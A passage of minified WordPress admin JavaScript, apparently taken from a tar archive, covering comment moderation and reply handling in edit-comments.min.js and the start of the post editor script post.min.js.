e=h(t.trigger),i=h(".success",e.closest(".copy-to-clipboard-container"));t.clearSelection(),e.trigger("focus"),clearTimeout(s),i.removeClass("hidden"),s=setTimeout(function(){i.addClass("hidden")},3e3),wp.a11y.speak(x("The file URL has been copied to your clipboard"))})}),function(t,o){t(function(){var i,e=t("#content"),a=t("#wp-word-count").find(".word-count"),n=0;function s(){var t=!i||i.isHidden()?e.val():i.getContent({format:"raw"}),t=o.count(t);t!==n&&a.text(t),n=t}t(document).on("tinymce-editor-init",function(t,e){"content"===e.id&&(i=e).on("nodechange keyup",_.debounce(s,1e3))}),e.on("input keyup",_.debounce(s,1e3)),s()})}(jQuery,new wp.utils.WordCounter);edit-comments.min.js000064400000035765150276633100010457 0ustar00/*! This file is auto-generated */
!function(w){var o,s,i=document.title,C=w("#dashboard_right_now").length,c=wp.i18n.__,x=function(t){t=parseInt(t.html().replace(/[^0-9]+/g,""),10);return isNaN(t)?0:t},r=function(t,e){var n="";if(!isNaN(e)){if(3<(e=e<1?"0":e.toString()).length){for(;3<e.length;)n=thousandsSeparator+e.substr(e.length-3)+n,e=e.substr(0,e.length-3);e+=n}t.html(e)}},b=function(n,t){var e=".post-com-count-"+t,a="comment-count-no-comments",o="comment-count-approved";k("span.approved-count",n),t&&(t=w("span."+o,e),e=w("span."+a,e),t.each(function(){var t=w(this),e=x(t)+n;0===(e=e<1?0:e)?t.removeClass(o).addClass(a):t.addClass(o).removeClass(a),r(t,e)}),e.each(function(){var t=w(this);0<n?t.removeClass(a).addClass(o):t.addClass(a).removeClass(o),r(t,n)}))},k=function(t,n){w(t).each(function(){var t=w(this),e=x(t)+n;r(t,e=e<1?0:e)})},E=function(t){C&&t&&t.i18n_comments_text&&w(".comment-count a","#dashboard_right_now").text(t.i18n_comments_text)},R=function(t){t&&t.i18n_moderation_text&&(w(".comments-in-moderation-text").text(t.i18n_moderation_text),C)&&t.in_moderation&&w(".comment-mod-count","#dashboard_right_now")[0<t.in_moderation?"removeClass":"addClass"]("hidden")},l=function(t){var e,n,a;s=s||new RegExp(c("Comments (%s)").replace("%s","\\([0-9"+thousandsSeparator+"]+\\)")+"?"),o=o||w("<div />"),e=i,1<=(a=(a=s.exec(document.title))?(a=a[0],o.html(a),x(o)+t):(o.html(0),t))?(r(o,a),(n=s.exec(document.title))&&(e=document.title.replace(n[0],c("Comments (%s)").replace("%s",o.text())+" "))):(n=s.exec(e))&&(e=e.replace(n[0],c("Comments"))),document.title=e},I=function(n,t){var e=".post-com-count-"+t,a="comment-count-no-pending",o="post-com-count-no-pending",s="comment-count-pending";C||l(n),w("span.pending-count").each(function(){var t=w(this),e=x(t)+n;e<1&&(e=0),t.closest(".awaiting-mod")[0===e?"addClass":"removeClass"]("count-0"),r(t,e)}),t&&(t=w("span."+s,e),e=w("span."+a,e),t.each(function(){var t=w(this),e=x(t)+n;0===(e=e<1?0:e)?(t.parent().addClass(o),t.removeClass(s).addClass(a)):(t.parent().removeClass(o),t.addClass(s).removeClass(a)),r(t,e)}),e.each(function(){var t=w(this);0<n?(t.parent().removeClass(o),t.removeClass(a).addClass(s)):(t.parent().addClass(o),t.addClass(a).removeClass(s)),r(t,n)}))};window.setCommentsList=function(){var i,v=0,g=w('input[name="_total"]',"#comments-form"),l=w('input[name="_per_page"]',"#comments-form"),p=w('input[name="_page"]',"#comments-form"),_=function(t,e,n){e<v||(n&&(v=e),g.val(t.toString()))},t=function(t,e){var n,a,o,s=w("#"+e.element);!0!==e.parsed&&(o=e.parsed.responses[0]),a=w("#replyrow"),n=w("#comment_ID",a).val(),a=w("#replybtn",a),s.is(".unapproved")?(e.data.id==n&&a.text(c("Approve and Reply")),s.find(".row-actions span.view").addClass("hidden").end().find("div.comment_status").html("0")):(e.data.id==n&&a.text(c("Reply")),s.find(".row-actions span.view").removeClass("hidden").end().find("div.comment_status").html("1")),i=w("#"+e.element).is("."+e.dimClass)?1:-1,o?(E(o.supplemental),R(o.supplemental),I(i,o.supplemental.postId),b(-1*i,o.supplemental.postId)):(I(i),b(-1*i))},e=function(t,e){var n,a,o,s,i=!1,r=w(t.target).attr("data-wp-lists");return t.data._total=g.val()||0,t.data._per_page=l.val()||0,t.data._page=p.val()||0,t.data._url=document.location.href,t.data.comment_status=w('input[name="comment_status"]',"#comments-form").val(),-1!=r.indexOf(":trash=1")?i="trash":-1!=r.indexOf(":spam=1")&&(i="spam"),i&&(n=r.replace(/.*?comment-([0-9]+).*/,"$1"),r=w("#comment-"+n),o=w("#"+i+"-undo-holder").html(),r.find(".check-column :checkbox").prop("checked",!1),r.siblings("#replyrow").length&&commentReply.cid==n&&commentReply.close(),a=r.is("tr")?(a=r.children(":visible").length,s=w(".author strong",r).text(),w('<tr id="undo-'+n+'" class="undo un'+i+'" style="display:none;"><td colspan="'+a+'">'+o+"</td></tr>")):(s=w(".comment-author",r).text(),w('<div id="undo-'+n+'" style="display:none;" class="undo un'+i+'">'+o+"</div>")),r.before(a),w("strong","#undo-"+n).text(s),(o=w(".undo a","#undo-"+n)).attr("href","comment.php?action=un"+i+"comment&c="+n+"&_wpnonce="+t.data._ajax_nonce),o.attr("data-wp-lists","delete:the-comment-list:comment-"+n+"::un"+i+"=1"),o.attr("class","vim-z vim-destructive aria-button-if-js"),w(".avatar",r).first().clone().prependTo("#undo-"+n+" ."+i+"-undo-inside"),o.on("click",function(t){t.preventDefault(),t.stopPropagation(),e.wpList.del(this),w("#undo-"+n).css({backgroundColor:"#ceb"}).fadeOut(350,function(){w(this).remove(),w("#comment-"+n).css("backgroundColor","").fadeIn(300,function(){w(this).show()})})})),t},n=function(t,e){var n,a,o,s,i=!0===e.parsed?{}:e.parsed.responses[0],r=!0===e.parsed?"":i.supplemental.status,l=!0===e.parsed?"":i.supplemental.postId,p=!0===e.parsed?"":i.supplemental,c=w(e.target).parent(),d=w("#"+e.element),m=d.hasClass("approved")&&!d.hasClass("unapproved"),u=d.hasClass("unapproved"),h=d.hasClass("spam"),d=d.hasClass("trash"),f=!1;E(p),R(p),c.is("span.undo")?(c.hasClass("unspam")?(n=-1,"trash"===r?a=1:"1"===r?s=1:"0"===r&&(o=1)):c.hasClass("untrash")&&(a=-1,"spam"===r?n=1:"1"===r?s=1:"0"===r&&(o=1)),f=!0):c.is("span.spam")?(m?s=-1:u?o=-1:d&&(a=-1),n=1):c.is("span.unspam")?(m?o=1:u?s=1:(d||h)&&(c.hasClass("approve")?s=1:c.hasClass("unapprove")&&(o=1)),n=-1):c.is("span.trash")?(m?s=-1:u?o=-1:h&&(n=-1),a=1):c.is("span.untrash")?(m?o=1:u?s=1:d&&(c.hasClass("approve")?s=1:c.hasClass("unapprove")&&(o=1)),a=-1):c.is("span.approve:not(.unspam):not(.untrash)")?o=-(s=1):c.is("span.unapprove:not(.unspam):not(.untrash)")?(s=-1,o=1):c.is("span.delete")&&(h?n=-1:d&&(a=-1)),o&&(I(o,l),k("span.all-count",o)),s&&(b(s,l),k("span.all-count",s)),n&&k("span.spam-count",n),a&&k("span.trash-count",a),("trash"===e.data.comment_status&&!x(w("span.trash-count"))||"spam"===e.data.comment_status&&!x(w("span.spam-count")))&&w("#delete_all").hide(),C||(p=g.val()?parseInt(g.val(),10):0,w(e.target).parent().is("span.undo")?p++:p--,p<0&&(p=0),"object"==typeof t?i.supplemental.total_items_i18n&&v<i.supplemental.time?((r=i.supplemental.total_items_i18n||"")&&(w(".displaying-num").text(r.replace("&nbsp;",String.fromCharCode(160))),w(".total-pages").text(i.supplemental.total_pages_i18n.replace("&nbsp;",String.fromCharCode(160))),w(".tablenav-pages").find(".next-page, .last-page").toggleClass("disabled",i.supplemental.total_pages==w(".current-page").val())),_(p,i.supplemental.time,!0)):i.supplemental.time&&_(p,i.supplemental.time,!1):_(p,t,!1)),theExtraList&&0!==theExtraList.length&&0!==theExtraList.children().length&&!f&&(theList.get(0).wpList.add(theExtraList.children(":eq(0):not(.no-items)").remove().clone()),y(),m=function(){w("#the-comment-list tr:visible").length||theList.get(0).wpList.add(theExtraList.find(".no-items").clone())},(u=w(":animated","#the-comment-list")).length?u.promise().done(m):m())},y=function(t){var e=w.query.get(),n=w(".total-pages").text(),a=w('input[name="_per_page"]',"#comments-form").val();e.paged||(e.paged=1),e.paged>n||(t?(theExtraList.empty(),e.number=Math.min(8,a)):(e.number=1,e.offset=Math.min(8,a)-1),e.no_placeholder=!0,e.paged++,!0===e.comment_type&&(e.comment_type=""),e=w.extend(e,{action:"fetch-list",list_args:list_args,_ajax_fetch_list_nonce:w("#_ajax_fetch_list_nonce").val()}),w.ajax({url:ajaxurl,global:!1,dataType:"json",data:e,success:function(t){theExtraList.get(0).wpList.add(t.rows)}}))};window.theExtraList=w("#the-extra-comment-list").wpList({alt:"",delColor:"none",addColor:"none"}),window.theList=w("#the-comment-list").wpList({alt:"",delBefore:e,dimAfter:t,delAfter:n,addColor:"none"}).on("wpListDelEnd",function(t,e){var n=w(e.target).attr("data-wp-lists"),e=e.element.replace(/[^0-9]+/g,"");-1==n.indexOf(":trash=1")&&-1==n.indexOf(":spam=1")||w("#undo-"+e).fadeIn(300,function(){w(this).show()})})},window.commentReply={cid:"",act:"",originalContent:"",init:function(){var t=w("#replyrow");w(".cancel",t).on("click",function(){return commentReply.revert()}),w(".save",t).on("click",function(){return commentReply.send()}),w("input#author-name, input#author-email, input#author-url",t).on("keypress",function(t){if(13==t.which)return commentReply.send(),t.preventDefault(),!1}),w("#the-comment-list .column-comment > p").on("dblclick",function(){commentReply.toggle(w(this).parent())}),w("#doaction, #post-query-submit").on("click",function(){0<w("#the-comment-list #replyrow").length&&commentReply.close()}),this.comments_listing=w('#comments-form > input[name="comment_status"]').val()||""},addEvents:function(t){t.each(function(){w(this).find(".column-comment > p").on("dblclick",function(){commentReply.toggle(w(this).parent())})})},toggle:function(t){"none"!==w(t).css("display")&&(w("#replyrow").parent().is("#com-reply")||window.confirm(c("Are you sure you want to edit this comment?\nThe changes you made will be lost.")))&&w(t).find("button.vim-q").trigger("click")},revert:function(){if(w("#the-comment-list #replyrow").length<1)return!1;w("#replyrow").fadeOut("fast",function(){commentReply.close()})},close:function(){var t=w(),e=w("#replyrow");e.parent().is("#com-reply")||(this.cid&&(t=w("#comment-"+this.cid)),"edit-comment"===this.act&&t.fadeIn(300,function(){t.show().find(".vim-q").attr("aria-expanded","false").trigger("focus")}).css("backgroundColor",""),"replyto-comment"===this.act&&t.find(".vim-r").attr("aria-expanded","false").trigger("focus"),"undefined"!=typeof QTags&&QTags.closeAllTags("replycontent"),w("#add-new-comment").css("display",""),e.hide(),w("#com-reply").append(e),w("#replycontent").css("height","").val(""),w("#edithead input").val(""),w(".notice-error",e).addClass("hidden").find(".error").empty(),w(".spinner",e).removeClass("is-active"),this.cid="",this.originalContent="")},open:function(t,e,n){var a,o,s,i,r=w("#comment-"+t),l=r.height();return this.discardCommentChanges()&&(this.close(),this.cid=t,a=w("#replyrow"),o=w("#inline-"+t),s=this.act=("edit"==(n=n||"replyto")?"edit":"replyto")+"-comment",this.originalContent=w("textarea.comment",o).val(),i=w("> th:visible, > td:visible",r).length,a.hasClass("inline-edit-row")&&0!==i&&w("td",a).attr("colspan",i),w("#action",a).val(s),w("#comment_post_ID",a).val(e),w("#comment_ID",a).val(t),"edit"==n?(w("#author-name",a).val(w("div.author",o).text()),w("#author-email",a).val(w("div.author-email",o).text()),w("#author-url",a).val(w("div.author-url",o).text()),w("#status",a).val(w("div.comment_status",o).text()),w("#replycontent",a).val(w("textarea.comment",o).val()),w("#edithead, #editlegend, #savebtn",a).show(),w("#replyhead, #replybtn, #addhead, #addbtn",a).hide(),120<l&&(i=500<l?500:l,w("#replycontent",a).css("height",i+"px")),r.after(a).fadeOut("fast",function(){w("#replyrow").fadeIn(300,function(){w(this).show()})})):"add"==n?(w("#addhead, #addbtn",a).show(),w("#replyhead, #replybtn, #edithead, #editlegend, #savebtn",a).hide(),w("#the-comment-list").prepend(a),w("#replyrow").fadeIn(300)):(s=w("#replybtn",a),w("#edithead, #editlegend, #savebtn, #addhead, #addbtn",a).hide(),w("#replyhead, #replybtn",a).show(),r.after(a),r.hasClass("unapproved")?s.text(c("Approve and Reply")):s.text(c("Reply")),w("#replyrow").fadeIn(300,function(){w(this).show()})),setTimeout(function(){var e=!1,t=w("#replyrow").offset().top,n=t+w("#replyrow").height(),a=window.pageYOffset||document.documentElement.scrollTop,o=document.documentElement.clientHeight||window.innerHeight||0;a+o-20<n?window.scroll(0,n-o+35):t-20<a&&window.scroll(0,t-35),w("#replycontent").trigger("focus").on("keyup",function(t){27!==t.which||e||commentReply.revert()}).on("compositionstart",function(){e=!0})},600)),!1},send:function(){var e={};w("#replysubmit .error-notice").addClass("hidden"),w("#replysubmit .spinner").addClass("is-active"),w("#replyrow input").not(":button").each(function(){var t=w(this);e[t.attr("name")]=t.val()}),e.content=w("#replycontent").val(),e.id=e.comment_post_ID,e.comments_listing=this.comments_listing,e.p=w('[name="p"]').val(),w("#comment-"+w("#comment_ID").val()).hasClass("unapproved")&&(e.approve_parent=1),w.ajax({type:"POST",url:ajaxurl,data:e,success:function(t){commentReply.show(t)},error:function(t){commentReply.error(t)}})},show:function(t){var e,n,a,o=this;return"string"==typeof t?(o.error({responseText:t}),!1):(t=wpAjax.parseAjaxResponse(t)).errors?(o.error({responseText:wpAjax.broken}),!1):(o.revert(),e="#comment-"+(t=t.responses[0]).id,"edit-comment"==o.act&&w(e).remove(),void(t.supplemental.parent_approved&&(a=w("#comment-"+t.supplemental.parent_approved),I(-1,t.supplemental.parent_post_id),"moderated"==this.comments_listing)?a.animate({backgroundColor:"#CCEEBB"},400,function(){a.fadeOut()}):(t.supplemental.i18n_comments_text&&(E(t.supplemental),R(t.supplemental),b(1,t.supplemental.parent_post_id),k("span.all-count",1)),t.data=t.data||"",t=t.data.toString().trim(),w(t).hide(),w("#replyrow").after(t),e=w(e),o.addEvents(e),n=e.hasClass("unapproved")?"#FFFFE0":e.closest(".widefat, .postbox").css("backgroundColor"),e.animate({backgroundColor:"#CCEEBB"},300).animate({backgroundColor:n},300,function(){a&&a.length&&a.animate({backgroundColor:"#CCEEBB"},300).animate({backgroundColor:n},300).removeClass("unapproved").addClass("approved").find("div.comment_status").html("1")}))))},error:function(t){var e=t.statusText,n=w("#replysubmit .notice-error"),a=n.find(".error");w("#replysubmit .spinner").removeClass("is-active"),(e=t.responseText?t.responseText.replace(/<.[^<>]*?>/g,""):e)&&(n.removeClass("hidden"),a.html(e))},addcomment:function(t){var e=this;w("#add-new-comment").fadeOut(200,function(){e.open(0,t,"add"),w("table.comments-box").css("display",""),w("#no-comments").remove()})},discardCommentChanges:function(){var t=w("#replyrow");return""===w("#replycontent",t).val()||this.originalContent===w("#replycontent",t).val()||window.confirm(c("Are you sure you want to do this?\nThe comment changes you made will be lost."))}},w(function(){var t,e,n,a;setCommentsList(),commentReply.init(),w(document).on("click","span.delete a.delete",function(t){t.preventDefault()}),void 0!==w.table_hotkeys&&(t=function(n){return function(){var t="next"==n?"first":"last",e=w(".tablenav-pages ."+n+"-page:not(.disabled)");e.length&&(window.location=e[0].href.replace(/\&hotkeys_highlight_(first|last)=1/g,"")+"&hotkeys_highlight_"+t+"=1")}},e=function(t,e){window.location=w("span.edit a",e).attr("href")},n=function(){w("#cb-select-all-1").data("wp-toggle",1).trigger("click").removeData("wp-toggle")},a=function(e){return function(){var t=w('select[name="action"]');w('option[value="'+e+'"]',t).prop("selected",!0),w("#doaction").trigger("click")}},w.table_hotkeys(w("table.widefat"),["a","u","s","d","r","q","z",["e",e],["shift+x",n],["shift+a",a("approve")],["shift+s",a("spam")],["shift+d",a("delete")],["shift+t",a("trash")],["shift+z",a("untrash")],["shift+u",a("unapprove")]],{highlight_first:adminCommentsSettings.hotkeys_highlight_first,highlight_last:adminCommentsSettings.hotkeys_highlight_last,prev_page_link_cb:t("prev"),next_page_link_cb:t("next"),hotkeys_opts:{disableInInput:!0,type:"keypress",noDisable:'.check-column input[type="checkbox"]'},cycle_expr:"#the-comment-list tr",start_row_index:0})),w("#the-comment-list").on("click",".comment-inline",function(){var t=w(this),e="replyto";void 0!==t.data("action")&&(e=t.data("action")),w(this).attr("aria-expanded","true"),commentReply.open(t.data("commentId"),t.data("postId"),e)})})}(jQuery);post.min.js000064400000045164150276633100006666 0ustar00/*! This file is auto-generated */
window.makeSlugeditClickable=window.editPermalink=function(){},window.wp=window.wp||{},function(s){var t=!1,a=wp.i18n.__;window.commentsBox={st:0,get:function(t,e){var i=this.st;return this.st+=e=e||20,this.total=t,s("#commentsdiv .spinner").addClass("is-active"),t={action:"get-comments",mode:"single",_ajax_nonce:s("#add_comment_nonce").val(),p:s("#post_ID").val(),start:i,number:e},s.post(ajaxurl,t,function(t){t=wpAjax.parseAjaxResponse(t),s("#commentsdiv .widefat").show(),s("#commentsdiv .spinner").removeClass("is-active"),"object"==typeof t&&t.responses[0]?(s("#the-comment-list").append(t.responses[0].data),theList=theExtraList=null,s("a[className*=':']").off(),commentsBox.st>commentsBox.total?s("#show-comments").hide():s("#show-comments").show().children("a").text(a("Show more comments"))):1==t?s("#show-comments").text(a("No more comments found.")):s("#the-comment-list").append('<tr><td colspan="2">'+wpAjax.broken+"</td></tr>")}),!1},load:function(t){this.st=jQuery("#the-comment-list tr.comment:visible").length,this.get(t)}},window.WPSetThumbnailHTML=function(t){s(".inside","#postimagediv").html(t)},window.WPSetThumbnailID=function(t){var e=s('input[value="_thumbnail_id"]',"#list-table");0<e.length&&s("#meta\\["+e.attr("id").match(/[0-9]+/)+"\\]\\[value\\]").text(t)},window.WPRemoveThumbnail=function(t){s.post(ajaxurl,{action:"set-post-thumbnail",post_id:s("#post_ID").val(),thumbnail_id:-1,_ajax_nonce:t,cookie:encodeURIComponent(document.cookie)},function(t){"0"==t?alert(a("Could not set that as the thumbnail image. Try a different attachment.")):WPSetThumbnailHTML(t)})},s(document).on("heartbeat-send.refresh-lock",function(t,e){var i=s("#active_post_lock").val(),a=s("#post_ID").val(),n={};a&&s("#post-lock-dialog").length&&(n.post_id=a,i&&(n.lock=i),e["wp-refresh-post-lock"]=n)}).on("heartbeat-tick.refresh-lock",function(t,e){var i,a;e["wp-refresh-post-lock"]&&((e=e["wp-refresh-post-lock"]).lock_error?(i=s("#post-lock-dialog")).length&&!i.is(":visible")&&(wp.autosave&&(s(document).one("heartbeat-tick",function(){wp.autosave.server.suspend(),i.removeClass("saving").addClass("saved"),s(window).off("beforeunload.edit-post")}),i.addClass("saving"),wp.autosave.server.triggerSave()),e.lock_error.avatar_src&&(a=s("<img />",{class:"avatar avatar-64 photo",width:64,height:64,alt:"",src:e.lock_error.avatar_src,srcset:e.lock_error.avatar_src_2x?e.lock_error.avatar_src_2x+" 2x":void 0}),i.find("div.post-locked-avatar").empty().append(a)),i.show().find(".currently-editing").text(e.lock_error.text),i.find(".wp-tab-first").trigger("focus")):e.new_lock&&s("#active_post_lock").val(e.new_lock))}).on("before-autosave.update-post-slug",function(){t=document.activeElement&&"title"===document.activeElement.id}).on("after-autosave.update-post-slug",function(){s("#edit-slug-box > *").length||t||s.post(ajaxurl,{action:"sample-permalink",post_id:s("#post_ID").val(),new_title:s("#title").val(),samplepermalinknonce:s("#samplepermalinknonce").val()},function(t){"-1"!=t&&s("#edit-slug-box").html(t)})})}(jQuery),function(a){var n,t;function i(){n=!1,window.clearTimeout(t),t=window.setTimeout(function(){n=!0},3e5)}a(function(){i()}).on("heartbeat-send.wp-refresh-nonces",function(t,e){var i=a("#wp-auth-check-wrap");(n||i.length&&!i.hasClass("hidden"))&&(i=a("#post_ID").val())&&a("#_wpnonce").val()&&(e["wp-refresh-post-nonces"]={post_id:i})}).on("heartbeat-tick.wp-refresh-nonces",function(t,e){e=e["wp-refresh-post-nonces"];e&&(i(),e.replace&&a.each(e.replace,function(t,e){a("#"+t).val(e)}),e.heartbeatNonce)&&(window.heartbeatSettings.nonce=e.heartbeatNonce)})}(jQuery),jQuery(function(h){var p,e,i,a,n,s,o,l,r,t,c,d,u=h("#content"),f=h(document),v=h("#post_ID").val()||0,m=h("#submitpost"),g=!0,w=h("#post-visibility-select"),b=h("#timestampdiv"),k=h("#post-status-select"),_=!!window.navigator.platform&&-1!==window.navigator.platform.indexOf("Mac"),y=new ClipboardJS(".copy-attachment-url.edit-media"),x=wp.i18n.__,C=wp.i18n._x;function D(t){c.hasClass("wp-editor-expand")||(r?o.theme.resizeTo(null,l+t.pageY):u.height(Math.max(50,l+t.pageY)),t.preventDefault())}function j(){var t;c.hasClass("wp-editor-expand")||(t=r?(o.focus(),((t=parseInt(h("#wp-content-editor-container .mce-toolbar-grp").height(),10))<10||200<t)&&(t=30),parseInt(h("#content_ifr").css("height"),10)+t-28):(u.trigger("focus"),parseInt(u.css("height"),10)),f.off(".wp-editor-resize"),t&&50<t&&t<5e3&&setUserSetting("ed_size",t))}postboxes.add_postbox_toggles(pagenow),window.name="",h("#post-lock-dialog .notification-dialog").on("keydown",function(t){var e;9==t.which&&((e=h(t.target)).hasClass("wp-tab-first")&&t.shiftKey?(h(this).find(".wp-tab-last").trigger("focus"),t.preventDefault()):e.hasClass("wp-tab-last")&&!t.shiftKey&&(h(this).find(".wp-tab-first").trigger("focus"),t.preventDefault()))}).filter(":visible").find(".wp-tab-first").trigger("focus"),wp.heartbeat&&h("#post-lock-dialog").length&&wp.heartbeat.interval(15),i=m.find(":submit, a.submitdelete, #post-preview").on("click.edit-post",function(t){var e=h(this);e.hasClass("disabled")?t.preventDefault():e.hasClass("submitdelete")||e.is("#post-preview")||h("form#post").off("submit.edit-post").on("submit.edit-post",function(t){if(!t.isDefaultPrevented()){if(wp.autosave&&wp.autosave.server.suspend(),"undefined"!=typeof commentReply){if(!commentReply.discardCommentChanges())return!1;commentReply.close()}g=!1,h(window).off("beforeunload.edit-post"),i.addClass("disabled"),("publish"===e.attr("id")?m.find("#major-publishing-actions .spinner"):m.find("#minor-publishing .spinner")).addClass("is-active")}})}),h("#post-preview").on("click.post-preview",function(t){var e=h(this),i=h("form#post"),a=h("input#wp-preview"),n=e.attr("target")||"wp-preview",s=navigator.userAgent.toLowerCase();t.preventDefault(),e.hasClass("disabled")||(wp.autosave&&wp.autosave.server.tempBlockSave(),a.val("dopreview"),i.attr("target",n).trigger("submit").attr("target",""),-1!==s.indexOf("safari")&&-1===s.indexOf("chrome")&&i.attr("action",function(t,e){return e+"?t="+(new Date).getTime()}),a.val(""))}),h("#title").on("keydown.editor-focus",function(t){var e;if(9===t.keyCode&&!t.ctrlKey&&!t.altKey&&!t.shiftKey){if((e="undefined"!=typeof tinymce&&tinymce.get("content"))&&!e.isHidden())e.focus();else{if(!u.length)return;u.trigger("focus")}t.preventDefault()}}),h("#auto_draft").val()&&h("#title").on("blur",function(){var t;this.value&&!h("#edit-slug-box > *").length&&(h("form#post").one("submit",function(){t=!0}),window.setTimeout(function(){!t&&wp.autosave&&wp.autosave.server.triggerSave()},200))}),f.on("autosave-disable-buttons.edit-post",function(){i.addClass("disabled")}).on("autosave-enable-buttons.edit-post",function(){wp.heartbeat&&wp.heartbeat.hasConnectionError()||i.removeClass("disabled")}).on("before-autosave.edit-post",function(){h(".autosave-message").text(x("Saving Draft\u2026"))}).on("after-autosave.edit-post",function(t,e){h(".autosave-message").text(e.message),h(document.body).hasClass("post-new-php")&&h(".submitbox .submitdelete").show()}),h(window).on("beforeunload.edit-post",function(t){var e=window.tinymce&&window.tinymce.get("content"),i=!1;if(wp.autosave?i=wp.autosave.server.postChanged():e&&(i=!e.isHidden()&&e.isDirty()),i)return t.preventDefault(),x("The changes you made will be lost if you navigate away from this page.")}).on("pagehide.edit-post",function(t){if(g&&(!t.target||"#document"==t.target.nodeName)){var t=h("#post_ID").val(),e=h("#active_post_lock").val();if(t&&e){t={action:"wp-remove-post-lock",_wpnonce:h("#_wpnonce").val(),post_ID:t,active_post_lock:e};if(window.FormData&&window.navigator.sendBeacon){var i=new window.FormData;if(h.each(t,function(t,e){i.append(t,e)}),window.navigator.sendBeacon(ajaxurl,i))return}h.post({async:!1,data:t,url:ajaxurl})}}}),h("#tagsdiv-post_tag").length?window.tagBox&&window.tagBox.init():h(".meta-box-sortables").children("div.postbox").each(function(){if(0===this.id.indexOf("tagsdiv-"))return window.tagBox&&window.tagBox.init(),!1}),h(".categorydiv").each(function(){var t,a,e,i=h(this).attr("id").split("-");i.shift(),a=i.join("-"),e="category"==a?"cats":a+"_tab",h("a","#"+a+"-tabs").on("click",function(t){t.preventDefault();t=h(this).attr("href");h(this).parent().addClass("tabs").siblings("li").removeClass("tabs"),h("#"+a+"-tabs").siblings(".tabs-panel").hide(),h(t).show(),"#"+a+"-all"==t?deleteUserSetting(e):setUserSetting(e,"pop")}),getUserSetting(e)&&h('a[href="#'+a+'-pop"]',"#"+a+"-tabs").trigger("click"),h("#new"+a).one("focus",function(){h(this).val("").removeClass("form-input-tip")}),h("#new"+a).on("keypress",function(t){13===t.keyCode&&(t.preventDefault(),h("#"+a+"-add-submit").trigger("click"))}),h("#"+a+"-add-submit").on("click",function(){h("#new"+a).trigger("focus")}),i=function(t){return!!h("#new"+a).val()&&(t.data+="&"+h(":checked","#"+a+"checklist").serialize(),h("#"+a+"-add-submit").prop("disabled",!0),t)},t=function(t,e){var i=h("#new"+a+"_parent");h("#"+a+"-add-submit").prop("disabled",!1),"undefined"!=e.parsed.responses[0]&&(e=e.parsed.responses[0].supplemental.newcat_parent)&&(i.before(e),i.remove())},h("#"+a+"checklist").wpList({alt:"",response:a+"-ajax-response",addBefore:i,addAfter:t}),h("#"+a+"-add-toggle").on("click",function(t){t.preventDefault(),h("#"+a+"-adder").toggleClass("wp-hidden-children"),h('a[href="#'+a+'-all"]',"#"+a+"-tabs").trigger("click"),h("#new"+a).trigger("focus")}),h("#"+a+"checklist, #"+a+"checklist-pop").on("click",'li.popular-category > label input[type="checkbox"]',function(){var t=h(this),e=t.is(":checked"),i=t.val();i&&t.parents("#taxonomy-"+a).length&&h("#in-"+a+"-"+i+", #in-popular-"+a+"-"+i).prop("checked",e)})}),h("#postcustom").length&&h("#the-list").wpList({addBefore:function(t){return t.data+="&post_id="+h("#post_ID").val(),t},addAfter:function(){h("table#list-table").show()}}),h("#submitdiv").length&&(p=h("#timestamp").html(),e=h("#post-visibility-display").html(),a=function(){"public"!=w.find("input:radio:checked").val()?(h("#sticky").prop("checked",!1),h("#sticky-span").hide()):h("#sticky-span").show(),"password"!=w.find("input:radio:checked").val()?h("#password-span").hide():h("#password-span").show()},n=function(){if(b.length){var t,e=h("#post_status"),i=h('option[value="publish"]',e),a=h("#aa").val(),n=h("#mm").val(),s=h("#jj").val(),o=h("#hh").val(),l=h("#mn").val(),r=new Date(a,n-1,s,o,l),c=new Date(h("#hidden_aa").val(),h("#hidden_mm").val()-1,h("#hidden_jj").val(),h("#hidden_hh").val(),h("#hidden_mn").val()),d=new Date(h("#cur_aa").val(),h("#cur_mm").val()-1,h("#cur_jj").val(),h("#cur_hh").val(),h("#cur_mn").val());if(r.getFullYear()!=a||1+r.getMonth()!=n||r.getDate()!=s||r.getMinutes()!=l)return b.find(".timestamp-wrap").addClass("form-invalid"),!1;b.find(".timestamp-wrap").removeClass("form-invalid"),d<r?(t=x("Schedule for:"),h("#publish").val(C("Schedule","post action/button label"))):r<=d&&"publish"!=h("#original_post_status").val()?(t=x("Publish on:"),h("#publish").val(x("Publish"))):(t=x("Published on:"),h("#publish").val(x("Update"))),c.toUTCString()==r.toUTCString()?h("#timestamp").html(p):h("#timestamp").html("\n"+t+" <b>"+x("%1$s %2$s, %3$s at %4$s:%5$s").replace("%1$s",h('option[value="'+n+'"]',"#mm").attr("data-text")).replace("%2$s",parseInt(s,10)).replace("%3$s",a).replace("%4$s",("00"+o).slice(-2)).replace("%5$s",("00"+l).slice(-2))+"</b> "),"private"==w.find("input:radio:checked").val()?(h("#publish").val(x("Update")),0===i.length?e.append('<option value="publish">'+x("Privately Published")+"</option>"):i.html(x("Privately Published")),h('option[value="publish"]',e).prop("selected",!0),h("#misc-publishing-actions .edit-post-status").hide()):("future"==h("#original_post_status").val()||"draft"==h("#original_post_status").val()?i.length&&(i.remove(),e.val(h("#hidden_post_status").val())):i.html(x("Published")),e.is(":hidden")&&h("#misc-publishing-actions .edit-post-status").show()),h("#post-status-display").text(wp.sanitize.stripTagsAndEncodeText(h("option:selected",e).text())),"private"==h("option:selected",e).val()||"publish"==h("option:selected",e).val()?h("#save-post").hide():(h("#save-post").show(),"pending"==h("option:selected",e).val()?h("#save-post").show().val(x("Save as Pending")):h("#save-post").show().val(x("Save Draft")))}return!0},h("#visibility .edit-visibility").on("click",function(t){t.preventDefault(),w.is(":hidden")&&(a(),w.slideDown("fast",function(){w.find('input[type="radio"]').first().trigger("focus")}),h(this).hide())}),w.find(".cancel-post-visibility").on("click",function(t){w.slideUp("fast"),h("#visibility-radio-"+h("#hidden-post-visibility").val()).prop("checked",!0),h("#post_password").val(h("#hidden-post-password").val()),h("#sticky").prop("checked",h("#hidden-post-sticky").prop("checked")),h("#post-visibility-display").html(e),h("#visibility .edit-visibility").show().trigger("focus"),n(),t.preventDefault()}),w.find(".save-post-visibility").on("click",function(t){var e="",i=w.find("input:radio:checked").val();switch(w.slideUp("fast"),h("#visibility .edit-visibility").show().trigger("focus"),n(),"public"!==i&&h("#sticky").prop("checked",!1),i){case"public":e=h("#sticky").prop("checked")?x("Public, Sticky"):x("Public");break;case"private":e=x("Private");break;case"password":e=x("Password Protected")}h("#post-visibility-display").text(e),t.preventDefault()}),w.find("input:radio").on("change",function(){a()}),b.siblings("a.edit-timestamp").on("click",function(t){b.is(":hidden")&&(b.slideDown("fast",function(){h("input, 